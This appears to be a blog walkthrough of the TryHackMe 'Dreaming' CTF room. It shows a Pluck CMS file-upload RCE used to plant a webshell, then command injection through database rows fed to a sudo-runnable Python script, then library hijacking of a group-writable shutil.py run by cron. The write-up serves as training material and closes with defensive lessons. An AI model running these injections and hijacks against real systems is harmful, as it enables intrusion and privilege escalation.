Skip to main content

Command Palette

Search for a command to run...

Dreaming

Updated
•6 min read•View as Markdown

NOTE: My IP address will be different from yours!

Lab Info

Detail Info
Room Dreaming
Platform TryHackMe
Difficulty Easy — Intermediate
Type CTF / Web Exploitation + Privilege Escalation
Knowledge Required Web, Linux, MySQL, Python

Tools Used

  • Nmap — Port scanning and service detection

  • Gobuster — Web directory enumeration

  • Exploit-DB — CVE lookup (CVE-2020-29607)

  • Python exploit script (EDB-49909) — Pluck CMS authenticated RCE

  • p0wny webshell — Remote code execution via browser

  • MySQL client — Database enumeration and command injection


Recon

As always, I start with Nmap before touching anything else.

nmap -T4 -Pn -A 10.49.160.69
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu
80/tcp open  http    Apache/2.4.41 (Ubuntu)

Two ports open — SSH and HTTP. The web server returned the default Apache Ubuntu page, which means nothing is served at the root. Time to fuzz for directories.

gobuster dir -u http://10.49.160.69 -w /usr/share/seclists/Discovery/Web-Content/common.txt

Gobuster found one interesting result: /app (Status: 301). Navigating to it showed a directory listing with a single folder: pluck-4.7.13/.


Identifying the CMS

Clicking into /app/pluck-4.7.13/ loaded a site called "dreaming" running Pluck CMS. Checking the page source confirmed it: a meta generator tag showing pluck 4.7.13, and in the footer, a link pointing directly to the admin login page at /app/pluck-4.7.13/login.php.

Before trying anything fancy, I checked Exploit-DB for known vulnerabilities in this version.


Initial Foothold — CVE-2020-29607

Exploit-DB had exactly what I needed: EDB-49909, a File Upload Remote Code Execution vulnerability in Pluck CMS 4.7.13 (CVE-2020-29607). It's an authenticated exploit, meaning I need valid credentials first.

I tried the most obvious password possible: password. It worked.

With admin access confirmed, I ran the Python exploit script:

python3 exploit.py 10.49.160.69 80 password /app/pluck-4.7.13

The script authenticated, uploaded a PHP webshell (shell.phar) through the "manage files" functionality, and printed its location:

Uploaded Webshell to: http://10.49.160.69:80/app/pluck-4.7.13/files/shell.phar

Navigating to that URL gave me a p0wny webshell running as www-data.


Flag 1 — Lucien

From the webshell, I listed /home and found four users: death, lucien, morpheus, ubuntu.

Trying to read any of their flag files directly as www-data returned Permission denied. So I searched for files owned by lucien:

find / -type f -user lucien 2>/dev/null

One result stood out immediately: /opt/test.py

Reading it revealed a Python script that automates logging into the Pluck CMS — and it had lucien's password hardcoded in plaintext.

I SSHed in as lucien using that password and got the first flag:

cat lucien_flag.txt
THM{REDACTED}

Flag 2 — Death (SQL Injection → Command Injection)

This is where it gets interesting.

As lucien, I navigated to /home/death. The flag file and getDreams.py were both permission denied. But sudo -l showed something useful:

(death) NOPASSWD: /usr/bin/python3 /home/death/getDreams.py

Lucien can run getDreams.py as death, but can't read it. Fortunately, there was a readable copy sitting in /opt/getDreams.py. Reading it showed a script that connects to a local MySQL database (library), pulls rows from the dreams table, and passes the dreamer and dream values into a subprocess call — with zero sanitization.

I then checked lucien's .bash_history and found the MySQL credentials sitting there in plaintext.

mysql -u lucien -p[REDACTED]
use library;
select * from dreams;

Found 4 rows (Alice, Bob, Carol, Dave with their dreams). The script echoed each row in the format dreamer + dream. Since this gets passed unsanitized to subprocess, I could inject shell commands through the dreamer field.

First I tested it:

INSERT INTO dreams (dreamer, dream) values ('whoami | bash', '-l');
sudo -u death /usr/bin/python3 /home/death/getDreams.py

Output printed death alongside the other rows. Command injection confirmed.

Then I used the same trick to read the actual getDreams.py in death's home directory (the one we couldn't read before):

INSERT INTO dreams (dreamer, dream) values ('cat /home/death/getDreams.py | bash', '-l');

Ran the script again. This time it dumped the file contents as output — including death's password in plaintext.

su death
cat /home/death/death_flag.txt
THM{REDACTED} 

Flag 3 — Morpheus (Python Library Hijacking)

As death, I moved to /home/morpheus. Three files: kingdom, restore.py, and morpheus_flag.txt (Permission denied).

Reading restore.py:

from shutil import copy2 as backup

src_file = "/home/morpheus/kingdom"
dst_file = "/kingdom_backup/kingdom"

backup(src_file, dst_file)
print("The kingdom backup has been done!")

It imports copy2 from the shutil Python library and runs a backup. This script is clearly being executed on a schedule by a cron job running as morpheus.

I checked the actual shutil.py library file:

find / -type f -name shutil.py 2>/dev/null
ls -la /usr/lib/python3.8/shutil.py
-rw-rw-r-- 1 root death 51474 Mar 18 2025 /usr/lib/python3.8/shutil.py

The file is owned by root but the death group has write permission. Since I'm currently death, I can edit the library itself — this is Python library hijacking.

I injected a line into the copy2 function inside shutil.py:

os.system('chmod 777 /home/morpheus/morpheus_flag.txt')

(Had to set TERM=xterm-256color first because nano was throwing a terminal error.)

Then I waited. Within a minute, the cron job triggered restore.py, which imported shutil, which executed my injected line as morpheus, which changed the flag file's permissions.

cat morpheus_flag.txt
THM{REDACTED} 

Flag Summary

Flag Method
Lucien Hardcoded credentials in /opt/test.py
Death SQL injection → command injection via getDreams.py
Morpheus Python library hijacking via writable shutil.py + cron job

Key Takeaways

1. Default passwords are never a joke The CMS admin password was literally password. Always change default credentials before deploying anything.

2. Never hardcode credentials Both lucien's password (in /opt/test.py) and death's password (inside getDreams.py) were stored in plaintext inside readable script files. Credentials belong in environment variables or a secrets manager, not source code.

3. Sanitize database input before using it in shell commands The getDreams.py script fetched unsanitized data from a database and passed it to subprocess. This created a SQL → OS command injection chain. If the input had been sanitized, the entire path to death's account would have been blocked.

4. Python library permissions matter A writable Python library file is a privilege escalation waiting to happen — especially when a higher-privileged cron job imports it. Standard library files should never be group-writable.

5. bash_history leaks more than you think MySQL credentials and navigation patterns were sitting in .bash_history. In a real engagement, this file alone can save hours of enumeration.


Day 2 of 30 ✅ — See you tomorrow.

115 views
M

good work